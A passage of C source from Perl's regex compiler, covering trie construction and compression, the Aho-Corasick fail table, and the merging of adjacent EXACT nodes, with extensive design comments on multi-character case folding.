Perl_re_printf( aTHX_ "tp: %d zp: %d ",tp,zp) ); */ if (trie->states[state].trans.list) { U16 minid=TRIE_LIST_ITEM( state, 1).forid; U16 maxid=minid; U16 idx; for( idx = 2 ; idx <= TRIE_LIST_USED( state ) ; idx++ ) { const U16 forid = TRIE_LIST_ITEM( state, idx).forid; if ( forid < minid ) { minid=forid; } else if ( forid > maxid ) { maxid=forid; } } if ( transcount < tp + maxid - minid + 1) { transcount *= 2; trie->trans = (reg_trie_trans *) PerlMemShared_realloc( trie->trans, transcount * sizeof(reg_trie_trans) ); Zero( trie->trans + (transcount / 2), transcount / 2, reg_trie_trans ); } base = trie->uniquecharcount + tp - minid; if ( maxid == minid ) { U32 set = 0; for ( ; zp < tp ; zp++ ) { if ( ! trie->trans[ zp ].next ) { base = trie->uniquecharcount + zp - minid; trie->trans[ zp ].next = TRIE_LIST_ITEM( state, 1).newstate; trie->trans[ zp ].check = state; set = 1; break; } } if ( !set ) { trie->trans[ tp ].next = TRIE_LIST_ITEM( state, 1).newstate; trie->trans[ tp ].check = state; tp++; zp = tp; } } else { for ( idx=1; idx <= TRIE_LIST_USED( state ) ; idx++ ) { const U32 tid = base - trie->uniquecharcount + TRIE_LIST_ITEM( state, idx ).forid; trie->trans[ tid ].next = TRIE_LIST_ITEM( state, idx ).newstate; trie->trans[ tid ].check = state; } tp += ( maxid - minid + 1 ); } Safefree(trie->states[ state ].trans.list); } /* DEBUG_TRIE_COMPILE_MORE_r( Perl_re_printf( aTHX_ " base: %d\n",base); ); */ trie->states[ state ].trans.base=base; } trie->lasttrans = tp + 1; } } else { /* Second Pass -- Flat Table Representation. we dont use the 0 slot of either trans[] or states[] so we add 1 to each. We know that we will need Charcount+1 trans at most to store the data (one row per char at worst case) So we preallocate both structures assuming worst case. We then construct the trie using only the .next slots of the entry structs. We use the .check field of the first entry of the node temporarily to make compression both faster and easier by keeping track of how many non zero fields are in the node. Since trans are numbered from 1 any 0 pointer in the table is a FAIL transition. There are two terms at use here: state as a TRIE_NODEIDX() which is a number representing the first entry of the node, and state as a TRIE_NODENUM() which is the trans number. state 1 is TRIE_NODEIDX(1) and TRIE_NODENUM(1), state 2 is TRIE_NODEIDX(2) and TRIE_NODENUM(3) if there are 2 entrys per node. eg: A B A B 1. 2 4 1. 3 7 2. 0 3 3. 0 5 3. 0 0 5. 0 0 4. 0 0 7. 0 0 The table is internally in the right hand, idx form. However as we also have to deal with the states array which is indexed by nodenum we have to use TRIE_NODENUM() to convert. */ DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Compiling trie using table compiler\n", depth+1)); trie->trans = (reg_trie_trans *) PerlMemShared_calloc( ( TRIE_CHARCOUNT(trie) + 1 ) * trie->uniquecharcount + 1, sizeof(reg_trie_trans) ); trie->states = (reg_trie_state *) PerlMemShared_calloc( TRIE_CHARCOUNT(trie) + 2, sizeof(reg_trie_state) ); next_alloc = trie->uniquecharcount + 1; for ( cur = first ; cur < last ; cur = regnext( cur ) ) { regnode *noper = NEXTOPER( cur ); U32 state = 1; /* required init */ U16 charid = 0; /* sanity init */ U32 accept_state = 0; /* sanity init */ U32 wordlen = 0; /* required init */ if (OP(noper) == NOTHING) { regnode *noper_next= regnext(noper); if (noper_next < tail) noper= noper_next; /* we will undo this assignment if noper does not * point at a trieable type in the else clause of * the following statement. */ } if ( noper < tail && ( OP(noper) == flags || (flags == EXACT && OP(noper) == EXACT_ONLY8) || (flags == EXACTFU && ( OP(noper) == EXACTFU_ONLY8 || OP(noper) == EXACTFUP)))) { const U8 *uc= (U8*)STRING(noper); const U8 *e= uc + STR_LEN(noper); for ( ; uc < e ; uc += len ) { TRIE_READ_CHAR; if ( uvc < 256 ) { charid = trie->charmap[ uvc ]; } else { SV* const * const svpp = hv_fetch( widecharmap, (char*)&uvc, sizeof( UV ), 0); charid = svpp ? (U16)SvIV(*svpp) : 0; } if ( charid ) { charid--; if ( !trie->trans[ state + charid ].next ) { trie->trans[ state + charid ].next = next_alloc; trie->trans[ state ].check++; prev_states[TRIE_NODENUM(next_alloc)] = TRIE_NODENUM(state); next_alloc += trie->uniquecharcount; } state = trie->trans[ state + charid ].next; } else { Perl_croak( aTHX_ "panic! In trie construction, no char mapping for %" IVdf, uvc ); } /* charid is now 0 if we dont know the char read, or * nonzero if we do */ } } else { /* If we end up here it is because we skipped past a NOTHING, but did not end up * on a trieable type. So we need to reset noper back to point at the first regop * in the branch before we call TRIE_HANDLE_WORD(). */ noper= NEXTOPER(cur); } accept_state = TRIE_NODENUM( state ); TRIE_HANDLE_WORD(accept_state); } /* end second pass */ /* and now dump it out before we compress it */ DEBUG_TRIE_COMPILE_MORE_r(dump_trie_interim_table(trie, widecharmap, revcharmap, next_alloc, depth+1)); { /* * Inplace compress the table.* For sparse data sets the table constructed by the trie algorithm will be mostly 0/FAIL transitions or to put it another way mostly empty. (Note that leaf nodes will not contain any transitions.) This algorithm compresses the tables by eliminating most such transitions, at the cost of a modest bit of extra work during lookup: - Each states[] entry contains a .base field which indicates the index in the state[] array wheres its transition data is stored. - If .base is 0 there are no valid transitions from that node. - If .base is nonzero then charid is added to it to find an entry in the trans array. -If trans[states[state].base+charid].check!=state then the transition is taken to be a 0/Fail transition. Thus if there are fail transitions at the front of the node then the .base offset will point somewhere inside the previous nodes data (or maybe even into a node even earlier), but the .check field determines if the transition is valid. XXX - wrong maybe? The following process inplace converts the table to the compressed table: We first do not compress the root node 1,and mark all its .check pointers as 1 and set its .base pointer as 1 as well. This allows us to do a DFA construction from the compressed table later, and ensures that any .base pointers we calculate later are greater than 0. - We set 'pos' to indicate the first entry of the second node. - We then iterate over the columns of the node, finding the first and last used entry at l and m. We then copy l..m into pos..(pos+m-l), and set the .check pointers accordingly, and advance pos appropriately and repreat for the next node. Note that when we copy the next pointers we have to convert them from the original NODEIDX form to NODENUM form as the former is not valid post compression. - If a node has no transitions used we mark its base as 0 and do not advance the pos pointer. - If a node only has one transition we use a second pointer into the structure to fill in allocated fail transitions from other states. This pointer is independent of the main pointer and scans forward looking for null transitions that are allocated to a state. When it finds one it writes the single transition into the "hole". If the pointer doesnt find one the single transition is appended as normal. - Once compressed we can Renew/realloc the structures to release the excess space. See "Table-Compression Methods" in sec 3.9 of the Red Dragon, specifically Fig 3.47 and the associated pseudocode. demq */ const U32 laststate = TRIE_NODENUM( next_alloc ); U32 state, charid; U32 pos = 0, zp=0; trie->statecount = laststate; for ( state = 1 ; state < laststate ; state++ ) { U8 flag = 0; const U32 stateidx = TRIE_NODEIDX( state ); const U32 o_used = trie->trans[ stateidx ].check; U32 used = trie->trans[ stateidx ].check; trie->trans[ stateidx ].check = 0; for ( charid = 0; used && charid < trie->uniquecharcount; charid++ ) { if ( flag || trie->trans[ stateidx + charid ].next ) { if ( trie->trans[ stateidx + charid ].next ) { if (o_used == 1) { for ( ; zp < pos ; zp++ ) { if ( ! trie->trans[ zp ].next ) { break; } } trie->states[ state ].trans.base = zp + trie->uniquecharcount - charid ; trie->trans[ zp ].next = SAFE_TRIE_NODENUM( trie->trans[ stateidx + charid ].next ); trie->trans[ zp ].check = state; if ( ++zp > pos ) pos = zp; break; } used--; } if ( !flag ) { flag = 1; trie->states[ state ].trans.base = pos + trie->uniquecharcount - charid ; } trie->trans[ pos ].next = SAFE_TRIE_NODENUM( trie->trans[ stateidx + charid ].next ); trie->trans[ pos ].check = state; pos++; } } } trie->lasttrans = pos + 1; trie->states = (reg_trie_state *) PerlMemShared_realloc( trie->states, laststate * sizeof(reg_trie_state) ); DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Alloc: %d Orig: %" IVdf " elements, Final:%" IVdf ". Savings of %%%5.2f\n", depth+1, (int)( ( TRIE_CHARCOUNT(trie) + 1 ) * trie->uniquecharcount + 1 ), (IV)next_alloc, (IV)pos, ( ( next_alloc - pos ) * 100 ) / (double)next_alloc ); ); } /* end table compress */ } DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Statecount:%" UVxf " Lasttrans:%" UVxf "\n", depth+1, (UV)trie->statecount, (UV)trie->lasttrans) ); /* resize the trans array to remove unused space */ trie->trans = (reg_trie_trans *) PerlMemShared_realloc( trie->trans, trie->lasttrans * sizeof(reg_trie_trans) ); { /* Modify the program and insert the new TRIE node */ U8 nodetype =(U8)(flags & 0xFF); char *str=NULL; #ifdef DEBUGGING regnode *optimize = NULL; #ifdef RE_TRACK_PATTERN_OFFSETS U32 mjd_offset = 0; U32 mjd_nodelen = 0; #endif /* RE_TRACK_PATTERN_OFFSETS */ #endif /* DEBUGGING */ /* This means we convert either the first branch or the first Exact, depending on whether the thing following (in 'last') is a branch or not and whther first is the startbranch (ie is it a sub part of the alternation or is it the whole thing.) Assuming its a sub part we convert the EXACT otherwise we convert the whole branch sequence, including the first. */ /* Find the node we are going to overwrite */ if ( first != startbranch || OP( last ) == BRANCH ) { /* branch sub-chain */ NEXT_OFF( first ) = (U16)(last - first); #ifdef RE_TRACK_PATTERN_OFFSETS DEBUG_r({ mjd_offset= Node_Offset((convert)); mjd_nodelen= Node_Length((convert)); }); #endif /* whole branch chain */ } #ifdef RE_TRACK_PATTERN_OFFSETS else { DEBUG_r({ const regnode *nop = NEXTOPER( convert ); mjd_offset= Node_Offset((nop)); mjd_nodelen= Node_Length((nop)); }); } DEBUG_OPTIMISE_r( Perl_re_indentf( aTHX_ "MJD offset:%" UVuf " MJD length:%" UVuf "\n", depth+1, (UV)mjd_offset, (UV)mjd_nodelen) ); #endif /* But first we check to see if there is a common prefix we can split out as an EXACT and put in front of the TRIE node. */ trie->startstate= 1; if ( trie->bitmap && !widecharmap && !trie->jump ) { /* we want to find the first state that has more than * one transition, if that state is not the first state * then we have a common prefix which we can remove. */ U32 state; for ( state = 1 ; state < trie->statecount-1 ; state++ ) { U32 ofs = 0; I32 first_ofs = -1; /* keeps track of the ofs of the first transition, -1 means none */ U32 count = 0; const U32 base = trie->states[ state ].trans.base; /* does this state terminate an alternation? */ if ( trie->states[state].wordnum ) count = 1; for ( ofs = 0 ; ofs < trie->uniquecharcount ; ofs++ ) { if ( ( base + ofs >= trie->uniquecharcount ) && ( base + ofs - trie->uniquecharcount < trie->lasttrans ) && trie->trans[ base + ofs - trie->uniquecharcount ].check == state ) { if ( ++count > 1 ) { /* we have more than one transition */ SV **tmp; U8 *ch; /* if this is the first state there is no common prefix * to extract, so we can exit */ if ( state == 1 ) break; tmp = av_fetch( revcharmap, ofs, 0); ch = (U8*)SvPV_nolen_const( *tmp ); /* if we are on count 2 then we need to initialize the * bitmap, and store the previous char if there was one * in it*/ if ( count == 2 ) { /* clear the bitmap */ Zero(trie->bitmap, ANYOF_BITMAP_SIZE, char); DEBUG_OPTIMISE_r( Perl_re_indentf( aTHX_ "New Start State=%" UVuf " Class: [", depth+1, (UV)state)); if (first_ofs >= 0) { SV ** const tmp = av_fetch( revcharmap, first_ofs, 0); const U8 * const ch = (U8*)SvPV_nolen_const( *tmp ); TRIE_BITMAP_SET_FOLDED(trie,*ch, folder); DEBUG_OPTIMISE_r( Perl_re_printf( aTHX_ "%s", (char*)ch) ); } } /* store the current firstchar in the bitmap */ TRIE_BITMAP_SET_FOLDED(trie,*ch, folder); DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ "%s", ch)); } first_ofs = ofs; } } if ( count == 1 ) { /* This state has only one transition, its transition is part * of a common prefix - we need to concatenate the char it * represents to what we have so far. */ SV **tmp = av_fetch( revcharmap, first_ofs, 0); STRLEN len; char *ch = SvPV( *tmp, len ); DEBUG_OPTIMISE_r({ SV *sv=sv_newmortal(); Perl_re_indentf( aTHX_ "Prefix State: %" UVuf " Ofs:%" UVuf " Char='%s'\n", depth+1, (UV)state, (UV)first_ofs, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), 6, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) ); }); if ( state==1 ) { OP( convert ) = nodetype; str=STRING(convert); STR_LEN(convert)=0; } STR_LEN(convert) += len; while (len--) *str++ = *ch++; } else { #ifdef DEBUGGING if (state>1) DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ "]\n")); #endif break; } } trie->prefixlen = (state-1); if (str) { regnode *n = convert+NODE_SZ_STR(convert); NEXT_OFF(convert) = NODE_SZ_STR(convert); trie->startstate = state; trie->minlen -= (state - 1); trie->maxlen -= (state - 1); #ifdef DEBUGGING /* At least the UNICOS C compiler choked on this * being argument to DEBUG_r(), so let's just have * it right here. */ if ( #ifdef PERL_EXT_RE_BUILD 1 #else DEBUG_r_TEST #endif ) { regnode *fix = convert; U32 word = trie->wordcount; #ifdef RE_TRACK_PATTERN_OFFSETS mjd_nodelen++; #endif Set_Node_Offset_Length(convert, mjd_offset, state - 1); while( ++fix < n ) { Set_Node_Offset_Length(fix, 0, 0); } while (word--) { SV ** const tmp = av_fetch( trie_words, word, 0 ); if (tmp) { if ( STR_LEN(convert) <= SvCUR(*tmp) ) sv_chop(*tmp, SvPV_nolen(*tmp) + STR_LEN(convert)); else sv_chop(*tmp, SvPV_nolen(*tmp) + SvCUR(*tmp)); } } } #endif if (trie->maxlen) { convert = n; } else { NEXT_OFF(convert) = (U16)(tail - convert); DEBUG_r(optimize= n); } } } if (!jumper) jumper = last; if ( trie->maxlen ) { NEXT_OFF( convert ) = (U16)(tail - convert); ARG_SET( convert, data_slot ); /* Store the offset to the first unabsorbed branch in jump[0], which is otherwise unused by the jump logic. We use this when dumping a trie and during optimisation. */ if (trie->jump) trie->jump[0] = (U16)(nextbranch - convert); /* If the start state is not accepting (meaning there is no empty string/NOTHING) * and there is a bitmap * and the first "jump target" node we found leaves enough room * then convert the TRIE node into a TRIEC node, with the bitmap * embedded inline in the opcode - this is hypothetically faster. */ if ( !trie->states[trie->startstate].wordnum && trie->bitmap && ( (char *)jumper - (char *)convert) >= (int)sizeof(struct regnode_charclass) ) { OP( convert ) = TRIEC; Copy(trie->bitmap, ((struct regnode_charclass *)convert)->bitmap, ANYOF_BITMAP_SIZE, char); PerlMemShared_free(trie->bitmap); trie->bitmap= NULL; } else OP( convert ) = TRIE; /* store the type in the flags */ convert->flags = nodetype; DEBUG_r({ optimize = convert + NODE_STEP_REGNODE + regarglen[ OP( convert ) ]; }); /* XXX We really should free up the resource in trie now, as we won't use them - (which resources?) dmq */ } /* needed for dumping*/ DEBUG_r(if (optimize) { regnode *opt = convert; while ( ++opt < optimize) { Set_Node_Offset_Length(opt, 0, 0); } /* Try to clean up some of the debris left after the optimisation. */ while( optimize < jumper ) { Track_Code( mjd_nodelen += Node_Length((optimize)); ); OP( optimize ) = OPTIMIZED; Set_Node_Offset_Length(optimize, 0, 0); optimize++; } Set_Node_Offset_Length(convert, mjd_offset, mjd_nodelen); }); } /* end node insert */ /* Finish populating the prev field of the wordinfo array. Walk back * from each accept state until we find another accept state, and if * so, point the first word's .prev field at the second word. If the * second already has a .prev field set, stop now. This will be the * case either if we've already processed that word's accept state, * or that state had multiple words, and the overspill words were * already linked up earlier. */ { U16 word; U32 state; U16 prev; for (word=1; word <= trie->wordcount; word++) { prev = 0; if (trie->wordinfo[word].prev) continue; state = trie->wordinfo[word].accept; while (state) { state = prev_states[state]; if (!state) break; prev = trie->states[state].wordnum; if (prev) break; } trie->wordinfo[word].prev = prev; } Safefree(prev_states); } /* and now dump out the compressed format */ DEBUG_TRIE_COMPILE_r(dump_trie(trie, widecharmap, revcharmap, depth+1)); RExC_rxi->data->data[ data_slot + 1 ] = (void*)widecharmap; #ifdef DEBUGGING RExC_rxi->data->data[ data_slot + TRIE_WORDS_OFFSET ] = (void*)trie_words; RExC_rxi->data->data[ data_slot + 3 ] = (void*)revcharmap; #else SvREFCNT_dec_NN(revcharmap); #endif return trie->jump ? MADE_JUMP_TRIE : trie->startstate>1 ? MADE_EXACT_TRIE : MADE_TRIE; } STATIC regnode * S_construct_ahocorasick_from_trie(pTHX_ RExC_state_t *pRExC_state, regnode *source, U32 depth) { /* The Trie is constructed and compressed now so we can build a fail array if * it's needed This is basically the Aho-Corasick algorithm. Its from exercise 3.31 and 3.32 in the "Red Dragon" -- Compilers, principles, techniques, and tools. Aho, Sethi, Ullman 1985/88 ISBN 0-201-10088-6 We find the fail state for each state in the trie, this state is the longest proper suffix of the current state's 'word' that is also a proper prefix of another word in our trie. State 1 represents the word '' and is thus the default fail state. This allows the DFA not to have to restart after its tried and failed a word at a given point, it simply continues as though it had been matching the other word in the first place. Consider 'abcdgu'=~/abcdefg|cdgu/ When we get to 'd' we are still matching the first word, we would encounter 'g' which would fail, which would bring us to the state representing 'd' in the second word where we would try 'g' and succeed, proceeding to match 'cdgu'. */ /* add a fail transition */ const U32 trie_offset = ARG(source); reg_trie_data *trie=(reg_trie_data *)RExC_rxi->data->data[trie_offset]; U32 *q; const U32 ucharcount = trie->uniquecharcount; const U32 numstates = trie->statecount; const U32 ubound = trie->lasttrans + ucharcount; U32 q_read = 0; U32 q_write = 0; U32 charid; U32 base = trie->states[ 1 ].trans.base; U32 *fail; reg_ac_data *aho; const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("T")); regnode *stclass; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_CONSTRUCT_AHOCORASICK_FROM_TRIE; PERL_UNUSED_CONTEXT; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif if ( OP(source) == TRIE ) { struct regnode_1 *op = (struct regnode_1 *) PerlMemShared_calloc(1, sizeof(struct regnode_1)); StructCopy(source, op, struct regnode_1); stclass = (regnode *)op; } else { struct regnode_charclass *op = (struct regnode_charclass *) PerlMemShared_calloc(1, sizeof(struct regnode_charclass)); StructCopy(source, op, struct regnode_charclass); stclass = (regnode *)op; } OP(stclass)+=2; /* convert the TRIE type to its AHO-CORASICK equivalent */ ARG_SET( stclass, data_slot ); aho = (reg_ac_data *) PerlMemShared_calloc( 1, sizeof(reg_ac_data) ); RExC_rxi->data->data[ data_slot ] = (void*)aho; aho->trie=trie_offset; aho->states=(reg_trie_state *)PerlMemShared_malloc( numstates * sizeof(reg_trie_state) ); Copy( trie->states, aho->states, numstates, reg_trie_state ); Newx( q, numstates, U32); aho->fail = (U32 *) PerlMemShared_calloc( numstates, sizeof(U32) ); aho->refcount = 1; fail = aho->fail; /* initialize fail[0..1] to be 1 so that we always have a valid final fail state */ fail[ 0 ] = fail[ 1 ] = 1; for ( charid = 0; charid < ucharcount ; charid++ ) { const U32 newstate = TRIE_TRANS_STATE( 1, base, ucharcount, charid, 0 ); if ( newstate ) { q[ q_write ] = newstate; /* set to point at the root */ fail[ q[ q_write++ ] ]=1; } } while ( q_read < q_write) { const U32 cur = q[ q_read++ % numstates ]; base = trie->states[ cur ].trans.base; for ( charid = 0 ; charid < ucharcount ; charid++ ) { const U32 ch_state = TRIE_TRANS_STATE( cur, base, ucharcount, charid, 1 ); if (ch_state) { U32 fail_state = cur; U32 fail_base; do { fail_state = fail[ fail_state ]; fail_base = aho->states[ fail_state ].trans.base; } while ( !TRIE_TRANS_STATE( fail_state, fail_base, ucharcount, charid, 1 ) ); fail_state = TRIE_TRANS_STATE( fail_state, fail_base, ucharcount, charid, 1 ); fail[ ch_state ] = fail_state; if ( !aho->states[ ch_state ].wordnum && aho->states[ fail_state ].wordnum ) { aho->states[ ch_state ].wordnum = aho->states[ fail_state ].wordnum; } q[ q_write++ % numstates] = ch_state; } } } /* restore fail[0..1] to 0 so that we "fall out" of the AC loop when we fail in state 1, this allows us to use the charclass scan to find a valid start char. This is based on the principle that theres a good chance the string being searched contains lots of stuff that cant be a start char. */ fail[ 0 ] = fail[ 1 ] = 0; DEBUG_TRIE_COMPILE_r({ Perl_re_indentf( aTHX_ "Stclass Failtable (%" UVuf " states): 0", depth, (UV)numstates ); for( q_read=1; q_read<numstates; q_read++ ) { Perl_re_printf( aTHX_ ", %" UVuf, (UV)fail[q_read]); } Perl_re_printf( aTHX_ "\n"); }); Safefree(q); /*RExC_seen |= REG_TRIEDFA_SEEN;*/ return stclass; } /* The below joins as many adjacent EXACTish nodes as possible into a single * one. The regop may be changed if the node(s) contain certain sequences that * require special handling. The joining is only done if: * 1) there is room in the current conglomerated node to entirely contain the * next one. * 2) they are compatible node types * * The adjacent nodes actually may be separated by NOTHING-kind nodes, and * these get optimized out * * XXX khw thinks this should be enhanced to fill EXACT (at least) nodes as full * as possible, even if that means splitting an existing node so that its first * part is moved to the preceeding node. This would maximise the efficiency of * memEQ during matching. * * If a node is to match under /i (folded), the number of characters it matches * can be different than its character length if it contains a multi-character * fold. *min_subtract is set to the total delta number of characters of the * input nodes. * * And *unfolded_multi_char is set to indicate whether or not the node contains * an unfolded multi-char fold. This happens when it won't be known until * runtime whether the fold is valid or not; namely * 1) for EXACTF nodes that contain LATIN SMALL LETTER SHARP S, as only if the * target string being matched against turns out to be UTF-8 is that fold * valid; or * 2) for EXACTFL nodes whose folding rules depend on the locale in force at * runtime. * (Multi-char folds whose components are all above the Latin1 range are not * run-time locale dependent, and have already been folded by the time this * function is called.) * * This is as good a place as any to discuss the design of handling these * multi-character fold sequences. It's been wrong in Perl for a very long * time. There are three code points in Unicode whose multi-character folds * were long ago discovered to mess things up. The previous designs for * dealing with these involved assigning a special node for them. This * approach doesn't always work, as evidenced by this example: * "\xDFs" =~ /s\xDF/ui # Used to fail before these patches * Both sides fold to "sss", but if the pattern is parsed to create a node that * would match just the \xDF, it won't be able to handle the case where a * successful match would have to cross the node's boundary. The new approach * that hopefully generally solves the problem generates an EXACTFUP node * that is "sss" in this case. * * It turns out that there are problems with all multi-character folds, and not * just these three. Now the code is general, for all such cases. The * approach taken is: * 1) This routine examines each EXACTFish node that could contain multi- * character folded sequences. Since a single character can fold into * such a sequence, the minimum match length for this node is less than * the number of characters in the node. This routine returns in * *min_subtract how many characters to subtract from the the actual * length of the string to get a real minimum match length; it is 0 if * there are no multi-char foldeds. This delta is used by the caller to * adjust the min length of the match, and the delta between min and max, * so that the optimizer doesn't reject these possibilities based on size * constraints. * * 2) For the sequence involving the LATIN SMALL LETTER SHARP S (U+00DF) * under /u, we fold it to 'ss' in regatom(), and in this routine, after * joining, we scan for occurrences of the sequence 'ss' in non-UTF-8 * EXACTFU nodes. The node type of such nodes is then changed to * EXACTFUP, indicating it is problematic, and needs careful handling. * (The procedures in step 1) above are sufficient to handle this case in * UTF-8 encoded nodes.) The reason this is problematic is that this is * the only case where there is a possible fold length change in non-UTF-8 * patterns. By reserving a special node type for problematic cases, the * far more common regular EXACTFU nodes can be processed faster. * regexec.c takes advantage of this. * * EXACTFUP has been created as a grab-bag for (hopefully uncommon) * problematic cases. These all only occur when the pattern is not * UTF-8. In addition to the 'ss' sequence where there is a possible fold * length change, it handles the situation where the string cannot be * entirely folded. The strings in an EXACTFish node are folded as much * as possible during compilation in regcomp.c. This saves effort in * regex matching. By using an EXACTFUP node when it is not possible to * fully fold at compile time, regexec.c can know that everything in an * EXACTFU node is folded, so folding can be skipped at runtime. The only * case where folding in EXACTFU nodes can't be done at compile time is * the presumably uncommon MICRO SIGN, when the pattern isn't UTF-8. This * is because its fold requires UTF-8 to represent. Thus EXACTFUP nodes * handle two very different cases. Alternatively, there could have been * a node type where there are length changes, one for unfolded, and one * for both. If yet another special case needed to be created, the number * of required node types would have to go to 7. khw figures that even * though there are plenty of node types to spare, that the maintenance * cost wasn't worth the small speedup of doing it that way, especially * since he thinks the MICRO SIGN is rarely encountered in practice. * * There are other cases where folding isn't done at compile time, but * none of them are under /u, and hence not for EXACTFU nodes. The folds * in EXACTFL nodes aren't known until runtime, and vary as the locale * changes. Some folds in EXACTF depend on if the runtime target string * is UTF-8 or not. (regatom() will create an EXACTFU node even under /di * when no fold in it depends on the UTF-8ness of the target string.) * * 3) A problem remains for unfolded multi-char folds. (These occur when the * validity of the fold won't be known until runtime, and so must remain * unfolded for now. This happens for the sharp s in EXACTF and EXACTFAA * nodes when the pattern isn't in UTF-8. (Note, BTW, that there cannot * be an EXACTF node with a UTF-8 pattern.) They also occur for various * folds in EXACTFL nodes, regardless of the UTF-ness of the pattern.) * The reason this is a problem is that the optimizer part of regexec.c * (probably unwittingly, in Perl_regexec_flags()) makes an assumption * that a character in the pattern corresponds to at most a single * character in the target string. (And I do mean character, and not byte * here, unlike other parts of the documentation that have never been * updated to account for multibyte Unicode.) Sharp s in EXACTF and * EXACTFL nodes can match the two character string 'ss'; in EXACTFAA * nodes it can match "\x{17F}\x{17F}". These, along with other ones in * EXACTFL nodes, violate the assumption, and they are the only instances * where it is violated. I'm reluctant to try to change the assumption, * as the code involved is impenetrable to me (khw), so instead the code * here punts. This routine examines EXACTFL nodes, and (when the pattern * isn't UTF-8) EXACTF and EXACTFAA for such unfolded folds, and returns a * boolean indicating whether or not the node contains such a fold. When * it is true, the caller sets a flag that later causes the optimizer in * this file to not set values for the floating and fixed string lengths, * and thus avoids the optimizer code in regexec.c that makes the invalid * assumption. Thus, there is no optimization based on string lengths for * EXACTFL nodes that contain these few folds, nor for non-UTF8-pattern * EXACTF and EXACTFAA nodes that contain the sharp s. (The reason the * assumption is wrong only in these cases is that all other non-UTF-8 * folds are 1-1; and, for UTF-8 patterns, we pre-fold all other folds to * their expanded versions. (Again, we can't prefold sharp s to 'ss' in * EXACTF nodes because we don't know at compile time if it actually * matches 'ss' or not. For EXACTF nodes it will match iff the target * string is in UTF-8. This is in contrast to EXACTFU nodes, where it * always matches; and EXACTFAA where it never does. In an EXACTFAA node * in a UTF-8 pattern, sharp s is folded to "\x{17F}\x{17F}, avoiding the * problem; but in a non-UTF8 pattern, folding it to that above-Latin1 * string would require the pattern to be forced into UTF-8, the overhead * of which we want to avoid. Similarly the unfolded multi-char folds in * EXACTFL nodes will match iff the locale at the time of match is a UTF-8 * locale.) * * Similarly, the code that generates tries doesn't currently handle * not-already-folded multi-char folds, and it looks like a pain to change * that. Therefore, trie generation of EXACTFAA nodes with the sharp s * doesn't work. Instead, such an EXACTFAA is turned into a new regnode, * EXACTFAA_NO_TRIE, which the trie code knows not to handle. Most people * using /iaa matching will be doing so almost entirely with ASCII * strings, so this should rarely be encountered in practice */ #define JOIN_EXACT(scan,min_subtract,unfolded_multi_char, flags) \ if (PL_regkind[OP(scan)] == EXACT) \ join_exact(pRExC_state,(scan),(min_subtract),unfolded_multi_char, (flags), NULL, depth+1) STATIC U32 S_join_exact(pTHX_ RExC_state_t *pRExC_state, regnode *scan, UV *min_subtract, bool *unfolded_multi_char, U32 flags, regnode *val, U32 depth) { /* Merge several consecutive EXACTish nodes into one. */ regnode *n = regnext(scan); U32 stringok = 1; regnode *next = scan + NODE_SZ_STR(scan); U32 merged = 0; U32 stopnow = 0; #ifdef DEBUGGING regnode *stop = scan; GET_RE_DEBUG_FLAGS_DECL; #else PERL_UNUSED_ARG(depth); #endif PERL_ARGS_ASSERT_JOIN_EXACT; #ifndef EXPERIMENTAL_INPLACESCAN PERL_UNUSED_ARG(flags); PERL_UNUSED_ARG(val); #endif DEBUG_PEEP("join", scan, depth, 0); assert(PL_regkind[OP(scan)] == EXACT); /* Look through the subsequent nodes in the chain. Skip NOTHING, merge * EXACT ones that are mergeable to the current one. */ while ( n && ( PL_regkind[OP(n)] == NOTHING || (stringok && PL_regkind[OP(n)] == EXACT)) && NEXT_OFF(n) && NEXT_OFF(scan) + NEXT_OFF(n) < I16_MAX) { if (OP(n) == TAIL || n > next) stringok = 0; if (PL_regkind[OP(n)] == NOTHING) { DEBUG_PEEP("skip:", n, depth, 0); NEXT_OFF(scan) += NEXT_OFF(n); next = n + NODE_STEP_REGNODE; #ifdef DEBUGGING if (stringok) stop = n; #endif n = regnext(n); } else if (stringok) { const unsigned int oldl = STR_LEN(scan); regnode * const nnext = regnext(n); /* XXX I (khw) kind of doubt that this works on platforms (should * Perl ever run on one) where U8_MAX is above 255 because of lots * of other assumptions */ /* Don't join if the sum can't fit into a single node */ if (oldl + STR_LEN(n) > U8_MAX) break; /* Joining something that requires UTF-8 with something that * doesn't, means the result requires UTF-8. */ if (OP(scan) == EXACT && (OP(n) == EXACT_ONLY8)) { OP(scan) = EXACT_ONLY8; } else if (OP(scan) == EXACT_ONLY8 && (OP(n) == EXACT)) { ; /* join is compatible, no need to change OP */ } else if ((OP(scan) == EXACTFU) && (OP(n) == EXACTFU_ONLY8)) { OP(scan) = EXACTFU_ONLY8; } else if ((OP(scan) == EXACTFU_ONLY8) && (OP(n) == EXACTFU)) { ; /* join is compatible, no need to change OP */ } else if (OP(scan) == EXACTFU && OP(n) == EXACTFU) { ; /* join is compatible, no need to change OP */ } else if (OP(scan) == EXACTFU && OP(n) == EXACTFU_S_EDGE) { /* Under /di, temporary EXACTFU_S_EDGE nodes are generated, * which can join with EXACTFU ones. We check for this case * here. These need to be resolved to either EXACTFU or * EXACTF at joining time. They have nothing in them that * would forbid them from being the more desirable EXACTFU * nodes except that they begin and/or end with a single [Ss]. * The reason this is problematic is because they could be * joined in this loop with an adjacent node that ends and/or * begins with [Ss] which would then form the sequence 'ss', * which matches differently under /di than /ui, in which case * EXACTFU can't be used. If the 'ss' sequence doesn't get * formed, the nodes get absorbed into any adjacent EXACTFU * node. And if the only adjacent node is EXACTF, they get * absorbed into that, under the theory that a longer node is * better than two shorter ones, even if one is EXACTFU. Note * that EXACTFU_ONLY8 is generated only for UTF-8 patterns, * and the EXACTFU_S_EDGE ones only for non-UTF-8. */ if (STRING(n)[STR_LEN(n)-1] == 's') { /* Here the joined node would end with 's'. If the node * following the combination is an EXACTF one, it's better to * join this trailing edge 's' node with that one, leaving the * current one in 'scan' be the more desirable EXACTFU */ if (OP(nnext) == 